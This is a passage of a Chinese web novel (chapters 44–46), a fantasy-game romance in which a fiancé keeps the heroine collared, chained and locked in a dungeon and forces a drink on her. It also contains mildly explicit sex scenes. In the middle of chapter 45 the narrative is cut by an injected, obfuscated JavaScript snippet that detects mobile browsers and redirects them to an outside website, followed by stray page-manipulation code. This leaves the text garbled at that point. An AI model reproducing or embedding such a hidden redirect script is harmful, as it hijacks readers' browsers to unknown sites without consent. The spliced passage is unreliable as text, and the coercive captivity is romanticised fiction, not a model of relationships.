这一下午,她把整个卧室翻了个遍,连天花板都没有放过,终于在壁毯之后的石砖缝隙里发现了她想要的东西。 就在这时,房间门忽然开了。 时间紧迫,温初夏根本来不及把标本塞回去,只好放在地板上轻轻一踢,标本画框便簌地滑入了落地窗帘之下,然后假装无事发生地认真欣赏起壁毯上的图案。 直到沉重的脚步声在她身后五米的地方停住,温初夏才仿佛终于意识到有人来了,转过头,对时准微微一笑:“你来啦。” 怕惹他不高兴,温初夏并没有询问林茵陈现况如何,也没有提起今早的那场闹剧。 时准的脸色肉眼可见地十分疲惫,但当温初夏对他笑时,他嘴角也下意识扯出一点弧度来,目光落在她被大理石地板冰的泛红的脚上,眉头一皱。 “你怎么总爱光脚走路,就这么不喜欢穿鞋?” 温初夏低头看了看,左脚踩在右脚上,身体微晃地说:“我的鞋子湿了,你这儿又没有我能穿的鞋,除了光脚还能怎么办?” 时准目光右移:“躺床上。” “还躺?”温初夏真想把白眼翻上天,左脚踩回地面,“我这些天四肢都快躺蜕化了。” “还有一周你就可以自由了,再忍忍。”时准走到她面前,把她打横抱起,放在床上,然后单膝跪下,两只手握住她的两只脚。 察觉到这人只是单纯想给她暖脚,并没有要借机挠她痒痒肉,或者做什么其他坏事的意思,温初夏逐渐放松了身体,两手撑在柔软的床垫上,耳朵悄悄红起来。 “你为什么要让人把我带到这里来啊?”她问,“我今晚可以回自己的房间睡觉吗?” “不能。” 时准温热的手掌贴着她冰凉的脚心,嘴里说出话却让温初夏感觉拔凉拔凉。 他仰起头,嘴角仍然擒着刚才那一抹笑意,说:“本来我是想履行之前的承诺,剥夺你的穿衣自由,这样你就不会再像只调皮的小猫一样四处乱跑——但很可惜,老天并不给我这个机会,最近降温了。” 温初夏当即在脑海里给老天磕一个:谢谢老天,救我狗命! 时准:“虽然婚前同居并不符合礼节,但我只有这一个法子能拴住你,所以,不符合就不符合吧,反正你我都不是在意礼节的人,对不对?” 温初夏:“……” 我能说我是吗。 忽然,一道不知从哪儿冒出来的橙红光线,晃到了温初夏脸上,她连忙眯起眼,心里泛起嘀咕:外面的夕阳再强烈,也不至于照到这里来啊,是什么东西反射来的光……我擦!要完! 没等温初夏伸手阻拦,时准就已经扭过头,发现了躺在角落里的画框。 温初夏立刻就想开口狡辩,紧接着又觉得在这种情况下,不辩才是上策,于是老实巴交地闭着嘴,眼睁睁看着时准走过去,捡起来,打算实施“他不问,我不说,他一问,我惊讶”的策略方针。 可时准却并没有问她这个东西是从哪儿来的,只是微微低着头,沉默地看了一阵,然后径直走去阳台,把标本扔了下去。 这可是三楼啊! 温初夏立刻连滚带爬地下床,跑去阳台扶着围栏,看见相框的玻璃碎成了渣,里面的蝴蝶被几颗玻璃碎片压住了翅膀,用力挣扎了好几下,才终于飞起来,往落日的方向远去。 “你这是……”温初夏偏头,不可置信地看着时准。 第二次了。 这是他第二次做这样莫名其妙的事了,他到底为什么会…… “欸?!”温初夏猝不及防,又被时准抱了起来,回到室内。这次他没有轻拿轻放,而是直接把她扔到了床上。 温初夏在床垫上弹了两下,懵逼地把挡脸的长发剥开,就看到时准像变戏法一样,从身后拿出了项圈和铁链。 她大惊失色,浑身上下写满了拒绝:不是吧!还来??! 45. 第 45 章 翌日清晨。 温初夏刚睡着没多久,就被时准从温柔乡里硬薅起来,和他一起吃早餐。 昨晚折腾得太狠,直到天蒙蒙亮,温初夏才终于得到赦免,昏睡过去,到现在还不过三个小时,她连睁眼都费劲,浑身酸软地被时准抱到餐桌边,坐在软凳上,光脚踩着地毯。 没一会儿,沉重的脑袋悄无声息地慢慢耷拉了下去,活像是降旗。 时准欣赏了片刻她困死鬼的模样,两根手指穿过乌黑的发丝,帮她抬起头,指关节轻轻敲了敲她面前的檀木桌,横放在白瓷盘两边的银制刀叉跟着颤动。 他提示:“再不吃就凉了。” 温初夏心跳得愈发烦躁沉闷,她眉头紧锁,不甘地掀开眼皮,眼里满是疲惫和幽怨,问:“为什么你精神还这么好?这不公平。”明明昨夜时准比她睡得还要晚一点。 时准端起咖啡杯,微笑着抿了一口,耸肩说:“因为我身体好。” 昨晚那几个小时显着您了是吧? 死变态! 温初夏愤愤不语,拿起面前的刀叉,想要切一小块培根吃,结果两手却不听使唤地抖个不停,跟帕金森似的,并不多锋利的刀刃滑的瓷盘吱嘎作响。 “噗嗤。”时准很不给面子的轻笑出声。 温初夏立刻把刀叉放下,瞪着他:“你笑个锤子啊??!” 我手抖成这样怪谁?你这个罪魁祸首竟然还好意思笑! “咳。” 时准低咳了一声,就此打住,抢在温初夏掀桌之前把瓷盘拿过来,动作优雅且利落地把食物切成适宜入口的大小,再端回她面前。 “多吃点儿。”时准笑眯眯的,“你看你,饿的手都抖了。” 温初夏刚拿起叉子准备开吃,一听这话,整个人瞬间顿住,算是彻底不困了,也没有食欲了。 “……我觉得未婚夫妻在结婚前分房睡很有必要。”她放下叉子,严肃道。 时准云淡风轻地驳回:“但前提是,妻子没有逃婚的想法。” 温初夏当即大言不惭道:“我确实没有啊!” 时准瞥她一眼,又继续切割瓷盘里的牛排,只这一个简单的动作,就让原本轻松的氛围变得紧绷起来。 “夏夏。”他垂下眸,浓密的睫毛遮盖掉眼底的情绪,“如果你还想继续保留穿衣权利的话,就请不要再对我撒这种拙劣的谎言,好吗?我很不喜欢别人骗我,尤其是你。” 他的语气轻浮却认真,听得温初夏如鲠在喉,忙往嘴里塞进一口食物,含糊又敷衍地“哦”了一声。 生什么气,我开个玩笑还不行吗。 吃完早饭后,时准离开寝宫,温初夏则躺回床上补觉。 奇怪的是,她明明很困,却迟迟无法彻底入眠,稀里糊涂地在床上躺了一两个小时后,忽然听到了一阵清脆的鸟叫声,是从阳台传来的。 陷在柔枕里的脑袋不耐烦地动了动,温初夏将被子一拉盖住耳朵,不予理会,意识沉沉地继续睡。 天王老子来了也别想耽搁她补觉。 但那只天王爷子却赖在阳台不走了,一直在叫,并且叫声越来越急切,越来越大声,搅得温初夏压根没法睡觉,气的她一把将被子掀开,睁眼瞪着头顶的床幔。 这个年代应该没有野生动物保护法吧?她要把那只破鸟串起来,拔光鸟毛,烤成麻辣孜然味儿…… 等一下。 温初夏的眼神瞬间变得清澈,怒火烟消云散。 最新的那段诗里是不是有提到鸟来着?!! 我靠我怎么现在才反应过来,果然黄色搞多了会拉低大脑的运转效率! 温初夏在心里疯狂暗骂时准,同时翻身下床,拉开厚重的遮光窗帘,灿烂的阳光瞬间倾泻进来,刺得她眯起一双眼,看见白漆围栏上停着一只……小麻雀。 嗯?不该是白鸽吗? 她狐疑地走近,强睁开酸胀的眼睛,伸出手,那只麻雀便乖巧地蹦到她掌心,尖嘴里吐出一卷小拇指甲盖般大的牛皮纸来。 温初夏把鸟放在一边,打开纸,上面写着一句话—— 【白鸽暂未出现,今晚计划先取剑,望做好掩护】 骑士斩龙最重要的装备莫过于宝剑。 而这把剑,就光明正大悬挂在时准寝宫一面墙的壁龛里,像展品一样大大方方地放着,丝毫不怕人偷走。 原因有二。 第一,时准的寝宫是除他之外没有人能自由出入的。 第二,就是这把剑特别特别特——别沉。 温初夏昨天刚被带到这里来的时候,就试过想将这把剑从墙上拿下来,结果发现,根本拿!不!动! 她甚至连把剑身从剑鞘里抽出1cm都办不到。 这玩意儿跟雷神的锤子一样,只有它认定的主人——骑士,才能轻松自如地使用它,所有玩家中,除了尚未被复活的宋云泽之外,大概只有力大无穷的周雅宜才有可能拿得动。 温初夏把纸条撕成细小碎片,洒向阳台外,又两手捧起小麻雀,问:“如果我没记错的话,你应该是顾瑜,对吧?” 季明轩之前和她讲过,他,顾瑜,还有另外两个倒霉蛋,开局都在马戏团里苦逼地讨生活。 顾瑜的技能是可以变成各种各样的动物,比如猫狗蛇虫狮子大象老虎犀牛……两人经常联合表演,总逗得台下观众哈哈大笑,他俩都是马戏团的台柱子。 果不其然,小麻雀点点圆润的脑袋。 温初夏心中一喜,忙道:“那你回去之后和大家说,那把宝剑很重,晚上一定要让周雅宜来,不然其他人肯定拿不动。” 头又点了点,微微歪向右侧。 温初夏脑筋转得飞快,一个大胆的计划在脑海里迅速生成。 “还有。”她摸了摸顾瑜的树枝一般的小爪子,声音很低,带着一种“老娘豁出去”的决绝。 电光火石之间,她就已经做好了心理建设,咬牙说:“时准每晚都会洗澡,你让周雅宜他们在佣人送完洗澡水之后的五分钟再进来,我会努力拖住他的。” 夜晚。 即将入夏,蝉鸣渐起。 处理完一天的公务,时准去西楼看望林茵陈。 经过昨天的刺激后,林茵陈的情绪已如一滩死水般平静,时准推门而入时,她正静静地坐在放着煤油灯的书桌旁看书,腿上是时淼生前最爱的兔子玩偶。 昨天,这间屋子里所有关于时淼的东西都被时准下令拿走烧毁,只给林茵陈留下了这一个,当做唯一的念想。 因为怜惜,因为不忍。 他们毕竟血脉相连。 “母亲。”时准停在她身后。 翻书的动作短暂地停顿了一下,大拇指压住书页。 林茵陈并没有回头,甚至连眼皮都没有丝毫掀动,只是用平淡中透露出疲惫的声音问:“你来干什么?” “……”时准沉默片刻,“您是在怨我吗?” 他语气放软,听起来像个做错事的孩子。 “没有。” 林茵陈长叹一口气,合上书,目光望向窗外昏暗的天光,既是对他说,同时也是对自己说:“美梦做太久了,突然一下子醒过来,难免会有些接受不了。” “但人不该一直活在梦里。”林茵陈将书放在桌上,站起来,打开窗,把兔子玩偶扔了出去,淡然地提醒:“你也是。” 时准微怔,并不接这句话,而是转移话题问:“一周后是我的婚礼,您会来参加吗?” 林茵陈转过身,美玉一般温婉柔情的眼睛看着他,走到面前,抬手拍了拍他的肩膀,感慨道:“都没发现,原来你已经长这么高了,我得仰着头才能看清你的脸。” 时准并不喜欢这种温情的气氛,声音又冷了回去:“妈,如果你不想参加,我不会勉强你的。” 林茵陈被堵的面色一僵,讪讪拿开手,掌心相握,又放下。 两人一起沉默了许久。 “阿准。”林茵陈终于开口,“你老实告诉妈妈,你之所以想娶那个女孩,是不是为了报复我?” 报复? 不到一秒,时准就理解了她的意思。 温初夏和时淼长得如此相似,自己和她结婚,在林茵陈看来,会有种兄妹□□的不适感。尽管他们之间并无血缘关系。 “不是。”时准断然否认,“我喜欢她,我爱她,这是我想和她结婚的唯一理由。在我眼里,她和时淼毫无相似之处,我也从没把她当做时淼的替代,并且——” 他看着林茵陈,眼神有些许锋利:“如果你再把她看作时淼,我会很生气。” “……”林茵陈垂头,叹了口气,无奈道:“我知道了。” 时准这才露出一点笑来,再次询问:“所以,您到时候会参加吗?” 林茵陈:“会的,以后只要你高兴,妈妈无论什么都会满足你的。” 时准得到了令他满意的答复,脸上的笑意扩大了许多,又说了几句“今晚早些休息”之类的体己话,转身想要离开。 “等等。”女人忽而又叫住他。 时准回头,颇具耐心:“还有什么事吗?母亲。” 林茵陈眉心微蹙,一副欲言又止的表情,她张了张嘴,纠结两秒后,还是打算问出口。 “那个姑娘,她,也喜欢你吗?” “……当然。” “可你为什么要把她关起来呢?” “……” 回到寝宫时,温初夏正十分闲适地趴在床上看书。 她穿着一身洁白柔软的睡裙,两条小腿翘在空中,交叉的脚踝时不时碰撞一下,掌心皮肤雪白细腻,足弓凹陷的弧度流畅清晰,是极其漂亮的一双脚。 时准本打算今晚让她睡个好觉,可看到这一幕,心里又控制不住地发起燥,喉结滑动了下。 冷静。 他深吸一口气,告诫自己:连续折腾两晚,这只小猫咪肯定要生气的,说不定还会气得咬他脖子。 肩上的咬痕还没消呢。 “在看什么呢?”时准俯身趴在温初夏身边,撩开碍事的发丝,手臂揽住纤薄温热的背,轻吻了一下她的脸颊。 温初夏手指夹在书页里,把书合上,示意他自己看,“喏,这本。” 灯火温馨,夜色可亲。 因为身边有爱人相伴,这间冰冷华丽的寝宫也变得温暖起来,像是梦境。 【但人不该一直活在梦里。】 脑海里冷不丁响起之前林茵陈的话。 可这梦实在太甜,太美,时准只想沉溺其中,永远不愿醒来。 他想,如果时间能永远停留在这一刻,那他会心甘情愿付出所有,哪怕失去生命,也在所不惜。 “嗯?”温初夏忽然偏头,在他身上闻嗅了几下,俏鼻皱了皱,略微有些惊讶:“你刚才喝酒啦?” “喝了一点白兰地。”时准被她小猫皱鼻的样子可爱到,唇角忍不住勾起。 “我记得你以前是不爱喝酒的啊,怎么今晚突然又喝了?”还喝烈酒。 温初夏看着他,柠檬色的灯光从头顶洒落,纤长睫毛所遮住的阴影恰好扫过她眼下的深棕小点,一张小脸漂亮的不像话。 因为怕你不爱我。 笑意不自觉地淡了下去,又被时准重新扯出。 “熏到你了?”他温柔地将她左侧的长发尽数撩到右边,“那我以后都不喝了。” “没。”温初夏作为一个私下烟酒都来“坏女人”,没有强迫伴侣戒酒戒烟的意愿,而是眨眨眼问:“能给我来点儿吗?” “今天已经太晚了,明天再说吧。”时准听到佣人已经在浴室备好热水退出去了,问:“你先洗还是我先?” “我。”温初夏立刻胳膊撑着身体坐直,扯了扯一端固定在床头的铁链,“帮我解开吧。” 时准并没有看在她要洗澡的份儿上暂时放她自由,解开后,又把锁挂到了浴室的雕塑上。 这座雕塑是由花岗岩制成的,丧彪都没法拖走,更何况温初夏。 走出浴室,关上门,时准躺靠在刚才温初夏趴过的地方,感受着被子上残存的体温,拿起她刚才看的书,翻阅几页,却一点儿都读不进去。 【那个姑娘,她,也喜欢你吗?】 母亲的话又在脑中回响。 温初夏她,到底算是喜欢我吗? 时准的目光飘忽起来。 两人认识这么长时间,时准对温初夏,永远是诚实的、坦然的、毫不遮掩的。 可温初夏呢? 虽然她也从未对他刻意隐瞒过什么,看似很光明磊落,可时准却隐约感觉到,在她心里,有一个旁人都不知道,只有她自己才清楚的目标。 其内容不仅与宋云泽无关,也与他无关,并凌驾于一切感情之上。 她到底想要什么呢? “时准——”浴室传来一声急切的呼唤,“我被链子缠住了,你快来帮帮我。” 时准把脑海里的胡思乱想清空,放下书,走去浴室门口,拧下门把手。 湿热的水汽弥漫,空中漂浮着薰衣草和迷迭香的气味,整间浴室安安静静,表面镀了一层银的圆形大浴缸内水波微漾,并没有刚才呼唤他的人的踪迹。 往下一看,睡裙堆落在光滑的瓷砖地板上,旁边是拴了铁链皮革项圈。 而项圈之中,居然端坐着一只通身被黑亮的毛发所覆盖,体型纤瘦的猫。 它蹲踞在圈里,尾巴从身后紧紧地卷到身前,后背的光泽的皮毛仿若上好的缎面,一双眼睛是祖母绿色的,像燃烧的铜焰,冻湖的薄冰,深海的绿藻。漂亮得惊心动魄。 “喵——” 黑猫仰头望着时准,尖牙利齿之下,梅子色的小舌翻卷出来,不断舔舐着嘴角。 温初夏:替大家试过了,没错,猫在尴尬的时候就是喜欢舔嘴! 眼前这一幕简直荒谬,时准皱起眉,蹲下身,有些手足无措地先摸了摸小黑猫的头,然后动作轻柔地将她抱起来,疑惑道:“你是……” 没想到猫咪竟开始打起呼噜,两只前爪撑在他的胸膛上,肉垫软软的,长着细密倒刺的舌头舔上他的下巴,位置游离在距唇角只有一毫米的地方。 略硬的胡须末梢反复磨蹭着喉结,像是在擦亮一根火柴。 嘶,好痒。 时准双眼微眯,脖子僵直,却忍住了没有往后仰。 他试探地叫道:“夏夏?”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15650972|170387||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> “咪嗷——”正在辛勤“耕耘”的小黑猫立刻回应他,然后,呼噜呼噜地继续舔。 “等,你等等,先别舔。”实在是太痒了,时准忍不住笑了几声,拉开她。 虽然温初夏变成小猫这事,带给时准的惊喜远多于惊吓,但他得先搞清楚其中的原因,以及温初夏什么时候能变回来,毕竟他们还有一周就要结婚了。 他总不能和猫咪形态的新娘交换戒指。 如果到时候还变不回来的话,那就得把戒指改成项圈才行,而且必须要绿宝石的,这样才配得上她这双高贵的绿眼睛。 可刚一拉开,小猫就生起气来,立马挣开他的怀抱,轻轻巧巧地落在瓷砖地面,然后蹦到马桶盖上,喵喵大叫了几声,又跳下去。 重复好几遍这个动作之后,时准才终于领会到她的意思:“你是想让我坐在上面,对吗?” “喵。”黑猫点点头,尖翘小巧的左耳飞快地抖了抖,又伸出舌头舔嘴角。 碧绿的湖水之中,漂浮着漆黑圆润的瞳仁。 听说猫咪在兴奋高兴的时候,瞳仁会变得很圆很大,可爱加倍,时准顿觉十分有趣,于是打算先陪她玩一玩,有什么话稍后再问也不迟。 一坐下,猫就跳到他的大腿上,依旧和刚才一样,前爪踩住胸口,舔他。 从下巴,到嘴唇,再到鼻尖,把他下半张脸舔得湿漉漉,于此同时,后爪不断向前挪动,黑亮柔顺的尾巴翘得老高,左右扫动。 怕她舔得太投入,一不小心撅过去,时准虚揽住小黑猫滑溜的后背,笑着问:“我是猫薄荷吗,这么喜欢舔我?” 这时,浴室外忽然传来一声不重不轻的动静,像是什么东西磕碰到了墙壁或地面。 时准闻声偏头,看向浴室门口,两手抱起温初夏,想去外面察看发生了什么。 但压在身体上的重量忽然增加了。 “别走——要亲。” 一双毛茸茸的、指甲尖利的手捧住他的脸,把他头掰正,然后不由分说地,吻住了时准因惊讶而微张的唇。 浴室外。 周雅宜狼狈地从地上爬起来,心里大骂这是把什么破剑,重成这样! 她可是连三脚架钢琴都能单手掀翻的女人,刚才居然被这把剑给抡地上了,简直是奇耻大辱。 “哎!” 周雅宜用气音呼唤和她一起来偷剑的同伙,一双杏眼瞪得老大,意思是:愣着干嘛,快过来帮我啊! 季明轩老大不情愿地从浴室门口走过来,两手一摊:要我怎么帮? 周雅宜指了指剑鞘尾巴:你抬后面,我抬前面。 季明轩点头:行。 他弯腰伸手,握住后试着直起背,结果差点儿单膝跪地上,换来周雅宜的无声嘲笑。 给季明轩气的,压着嗓子问:“你使劲了吗?” 与此同时,浴室里忽然传来一声隐忍失败的惊呼:“啊!轻、轻……” 周雅宜赶紧捂住自己便宜表弟的大嘴,两手握住剑柄,蹲下身,一鼓作气扛在肩上,二人齐心协力把宝剑搬出时准的寝宫。 深夜的城堡静静悄悄。 两个小偷累个半死,尤其是季明轩,他整张脸涨得通红,额角脖子的青筋完全爆起,脑子里只想着赶紧回去赶紧解脱,没有一丝精力来警惕周围是否会有巡逻的盔甲士兵出没。 而偷盗经验为零的周雅宜也没好到哪儿去,她浑身是汗,咬紧牙关,太阳穴突突跳动着,就快要爆了,原本无比敏锐的五感此刻降回了正常水平。 所以,当周雅宜终于察觉到不远处传来一阵整齐划一的脚步声后,已经彻底来不及躲了。她僵在原地。 完了! 正面硬刚和弃剑逃跑两个选项在脑子里打着架。 可没等她做出决断,一支不知从何而来的利箭划破空气,将那一列盔甲士兵从同射穿到尾。 下一秒,空壳子叮铃哐啷接连倒下,四分五裂地碎了一地,里面的扑克牌居然全部被这一支箭给解决了。 好恐怖的准头。 周雅宜愣住,紧接着的第一反应就是:是不是李确回来了?! 她内心狂喜地向箭射来的方向看去,看到的却是一个身穿黑色燕尾服,眼戴轻薄金丝眼镜的高个男人从黑暗中走出来。 是城堡的管家,图书馆的酒保,1107。 于是激动的心情瞬间down了下去,周雅宜一脸惊异:“你怎么……” 一句完整的话还没说出口,1107就拧紧眉,低声催促:“愣着干嘛,还不快走,下一批巡逻的侍卫马上又要来了。” 周雅宜一时间情绪极为复杂,迈步就走,季明轩肩膀快被剑尾压碎了,却还是努力转过头,和1107说了声“谢谢”。 目送两个小贼逃走后,1107松了口气,正要离开,背后响起了一道脚步声。 “前辈。”男人微微一笑,悠闲地转动着左手食指的那枚金戒指,打趣道: “您何苦要做无用功呢。光凭这些个笨蛋学生,和那几个自告奋勇的蠢货,是不可能通过这个副本的。” “你怎么知道一定不可能。”1107露出嘲讽的表情,“总部派你过来,不是让你在这儿站着说风凉话的。” “那是当然。”西奥多依旧是一副笑眯眯的表情,他将头顶的礼帽取下,“我可不仅只会说风凉话,我还会变魔术呢,您看——” 说着,他将右手伸进帽子,拿出时,手里居然真的抓着一样东西。 一只死掉的白鸽。 …… 寝宫内的灯被灭掉好几盏,光线昏暗。 之前还好端端躺在床上的书本,此刻被无情地掀翻在地,看起来有些孤单。 头顶,奢华重工的床幔晃个不停。 “夏夏……”滚烫的气息扑到温初夏耳边,“尾巴,再缠紧一点。” 还紧? 温初夏羞耻地闭上眼,藏在乌黑发丝间的一对黑色猫耳耷拉了下去,毛发较少的内侧一片粉红。 她心里叫苦不迭:你的没断我的都要断了。 “快啊。”时准喘着粗气,低声催促。 同时,饱满有弹性的胸脯贴紧了她的汗水淋漓色后背,两颗心脏在相隔不过十公分的距离一齐剧烈跳动。 “咚咚咚咚……” “咚咚咚咚……” 温初夏被这重量压得喘不过气来,只能听话照做,两只爪子死死抓着床单,大半张脸陷进柔软的枕头里,一边流汗,一边流泪。 她听到时准闷哼一声,吐出一口粘糊灼热的潮气,刚才一直不断亲吻她眼角脸颊和耳朵的薄唇忽然离开一段距离,开始往下移动。 高挺的鼻梁蹭过两片凸起的肩胛骨,再是中间凹陷的脊柱窝,光滑细腻的皮肤像是香甜的布丁,让时准忍不住张开嘴,咬下去。 “嘶——痛!” 温初夏借机发怒,但其实更多是爽到,只是她不想承认。 时准根本没有用力,当然知道她是在闹脾气,轻轻笑了笑,咬人的动作非但不停,反倒越急越快,留下的痕迹也越来越密。 “亲爱的。”他痴笑着,喘息道:“我想在你的后背种满玫瑰。” 46. 第 46 章 温初夏浑身酸痛地慢慢睁开眼,看到的并不是时准寝宫穷奢极侈的鎏金蔷薇吊顶,而是黑漆漆的、角落挂着蛛网的地牢天花板。 这是给我干哪儿来了? 眼睛倏地瞪大,心想:昨晚我难道不是晕了,而是死了??这里是地狱??? 温初夏皱着一张小脸,费劲地从床上坐起,头脑迟钝地环视四周的情况。 不同于城堡其他囚室的狭窄逼仄环境恶劣,连站直都不行,她所在的这一间面积还算宽敞,和现代人的卧室差不多大,就是里面的设施相比卧室而言,要简陋不少。 一张看起来不太牢固的木床之上,放着半米来高的柔软床垫,被子和枕头的款式,以及摸起来的质感,都和她之前单独一个人生活时用的一样。 一扇小窗开南面石墙靠近天花板的位置,窗户上还安装着粗粗的铁栅栏,阳光只能透过狭小的缝隙艰难地射进来,在地上投射出不规则的光影。 空气并无明显的异味,但有种不流通的浑浊感,潮湿且阴凉,十分安静。 “……” 温初夏就在这诡异的安静空气中静坐着。 虽然很懵逼,但她能猜到时准为什么要把自己关进地牢。 寝宫的宝剑被偷,时准但凡智商没跌为负数,都能猜到其中肯定有她出了一份力。 昨晚她超出寻常的主动和热情,无疑是最好的证明。 温初夏早有预料自己会被怀疑,也做好了迎接时准狂风暴雨的准备,可她没想到,这人居然会一声不吭把自己丢到这种鬼地方来。 难道是想秉公执法,给她安上盗窃宝物的罪名,根据法律条例来处罚她? 从来天不怕地不怕的温初夏,此刻忽然有些慌。 她所担心的并不是受刑。 作为守护者,面对这种身体受到严重伤害的情况,是可以通过终端申请来封闭痛感的。 如果真要上刑,她只需要配合地啊啊惨叫几声,表演一下意思意思就行。 她真正担心的,是时准对这件事的态度。 昨天早上吃饭的时候他才亲口说过,他最讨厌别人欺骗他,尤其这个“别人”还是自己。 时准大概率是真的生气了、受伤了、难过了,所以才会忍心把她一个人丢到这暗无天日的监牢。 唯一值得庆幸的是,这回时准没有像以前那样,给她戴项圈、栓铁链。地牢守卫森严,连一只蚊子都没法从这里飞出去,更别提她这个大活人了。 温初夏踩着拖鞋下床,站在铁门边踮了踮脚尖,看见走廊外没有人,于是一边拍门一边喊道:“来人啊来人啊!这里有人要饿死了!快来人啊——!” 很快,走廊尽头响起一阵急促的脚步声。 然后是皮质鞭条狠狠抽地的声音:“啪!” “叫魂呐?”来者大步流星走来,粗粝泼辣的嗓音很不客气:“离午饭时间还有一个半钟头,饿了自己吃屎去!再在这里大吼大叫,小心我……” “姐?!” 温初夏一只眼睛对准门缝,目光紧紧地粘在徐珂身上,像是抓住了救命稻草般,眼里迸发出惊喜的光芒,高兴道:“姐!是我啊,温初夏!” “你……”正要往铁门上抽的鞭子立刻放了下去,徐珂卡了下壳,走到门前,话中带了一点儿戏谑的笑意:“谁是你姐了,我可没有你这样的富婆妹妹。” “有的,可以有的!”温初夏无比迫切,迫切的甚至有些狗腿,但她毫不在意。 毕竟在这个叫天天不应叫地地不灵的鬼地方,徐珂是唯一能帮到她的人,别说姐了,叫奶她都愿意。 “姐,你能帮我出去吗?”温初夏期待地眨眨眼。 徐珂把鞭子叠起来,插入腰带左侧,说:“不行。” “啊?为什么?”温初夏有些失望,目光落在她腰带另一侧的一大串钥匙上,“你不能帮我开锁吗?” 徐珂顺着她的视线低头,摸了摸身上的钥匙串,解释说:“我这里没有开这扇门的钥匙。你住的这间算VIP牢房,唯一一把钥匙在监狱长那儿。” 温初夏短暂沉默了一秒,又打起精神问:“那你知道我要被关到什么时候吗?” “不知道。”徐珂无能为力地耸耸肩,“我连你什么时候进来的都不知道,怎么可能清楚你什么时候走。” 见温初夏不说话了,脸也离开了门缝,徐珂指关节敲敲铁门,问:“你是真的饿吗?要不要我去给你拿吃的?想吃点儿什么?” 片刻后,门内传来温初夏幽幽的回答:“不用了。” 气都气饱了,哪儿还吃得下东西。 午饭在一个半小时后准时送来,徐珂打开铁门下方的小门,把一个装得满满的餐盘推了进来,里面菜式的精致程度和温初夏之前吃的别无二致,甚至分量还更多一些。 香得在门外看守的狱犬嗷嗷直叫,口水直流,被徐珂赏了几个大嘴巴子,才终于消停下来,飞流直下三千尺的口水往肚里咽。 温初夏一个人呆着十分无聊,再加上饭菜太多,她自己根本吃不完,所以就一边食不知味得吃着,一边时不时给蹲在外边的黑色罗威纳投喂几块肉,把狗高兴大尾巴直晃。 吃完后,残羹冷炙被收走。 温初夏不想呆在床上,于是就在不大不小的囚室里走来走去,权当消食,心情也相对平静,并没有一开始醒来时那样的焦躁,和想越狱。 因为她梳理了一下副本进度—— 首先是装备方面,骑士斩龙所需要的三样装备,盔甲、盾牌、宝剑,现已全部集齐,就藏在周雅宜寝宫的密室里。 其次是复活骑士所需要的三朵玫瑰花,其中白玫瑰和黄玫瑰都摘到了,剩下的一朵红玫瑰,温初夏猜,大概会在最近几天由预言诗里提到的白鸽送来,也不用担心。 一切按部就班,现在就等宋云泽复活,在婚礼当天完成斩杀巨龙解救王后的终极任务,等这一切结束之后,他们就可以顺利回去了。 温初夏越想越激动,沿着墙角走了不知道多少圈,终于是把小腿走酸了,躺在床上,目光落在天花板一角灰扑扑的蛛网发呆。 直到收到时准忽然要来造访的消息。 讲真,温初夏完全没料到时准会这么快来找自己。 她以为这人至少会晾自己五六天,等她吃够了暗无天日还无处解闷的苦头,再放她出去,准备举行婚礼呢。 结果对方居然不按常理出牌。 温初夏在徐珂的带领下来到走廊另一侧的一间屋子,里面不是监牢,没有床,也没有窗,有的只是一张长桌,几把凳子,冰冷的石壁上亮着一排蜡烛。 看来是要审讯我了。 温初夏想着,随便找了个位置坐下。 几分钟后,时准走进屋内,身后跟着一位灰色眼睛的男人,左手食指戴着一枚金灿灿的戒指,是西奥多。 他手里端着一个盘子,盘中立着两只外形一致的玻璃杯,杯里装着同样的淡粉色液体,像是饮品。 温初夏沉默地看着二人一前一后地进来,表面不动声色,内心却吐槽:好熟悉也好做作的姿态,1107后继有人了。 时准在她对面坐下,西奥多把两个玻璃杯分别放在二人对面,对时准做了个“请”的手势,然后就离开了。还贴心地把门给带上。 门关的一瞬间,温初夏忙收回疑惑的视线,看着面前的时准,肚子里有一大堆话想问他,挑来挑去,却发现每个问题自己都知道答案,或者能猜到答案。 于是挺起的胸膛又默默缩了回去,干涩的嘴唇紧闭着,一言不发。 “口渴吗?”时准问。 中午送来的饭菜之中没有喝的,而VIP监牢里,除了马桶之外再没有第二个水源,所以温初夏早就渴得舌根发涩了,刚才一看见托盘里的东西,还忍不住悄悄咽了下口水。 “不渴。”她没说实话。 时准却像没听见般,自顾自地抬了抬下巴,说:“喝吧,我知道监狱里没有水,所以给你带了一杯。” 温初夏没动作,而是问:“这里面是什么?” 时准:“草莓牛奶。” 温初夏依旧没动:“……” “怎么,是怕我在里面下毒吗?” “没……” 话音未落,时准就把他俩面前的玻璃杯交换位置,端起原本属于温初夏的那杯,喝了一口,眼神在说:看吧,没毒。 但温初夏并没有因此放下警惕,藏在桌下的手打了个一个极轻的响指。 啪。 神不知鬼不觉间,两人杯中的液体再次互换。 是她刚才复刻的徐珂的技能。 多么适合越狱的技能啊,但可惜,只能互换物品,不能互换人,否则她早就溜……算了还是别口嗨,容易遭报应。就算真能溜,温初夏也不敢溜。 上次林茵陈想把她偷偷带离城堡,时准来截人时那副要吃人的表情,直到现在都还牢牢刻在她脑海里,一想到就会觉得不寒而栗。 反正这场游戏都要结束了,她只用老老实实度过最后六天时间,没必要再整出幺蛾子来,惹时准不高兴。 温初夏抿了抿干燥到有些起皮唇,端起面前的玻璃杯,喝起来。 确实是草莓牛奶的味道,因为太渴,她一口气把这杯奶喝到一半的位置,余光注意到时准的靠近,心里猛地慌乱起来,正要放下杯子,问他干什么。 结果没想到时准直接扼住她的下颌,把剩下的草莓牛奶全都灌进喉咙里。 “咳咳咳!”温初夏剧烈咳嗽起来,结巴地问:“这里面到、到底是什么咳咳、什么东西?咳咳咳……” 见底的玻璃杯“嘭”一声放在桌上,时准从上衣口袋里拿出丝巾,捏着温初夏的下巴,帮她把脸擦净,欣赏的目光掠过她因呛咳而泛红的眼角、耳廓、嘴唇,这才满意地微笑起来,松开手。 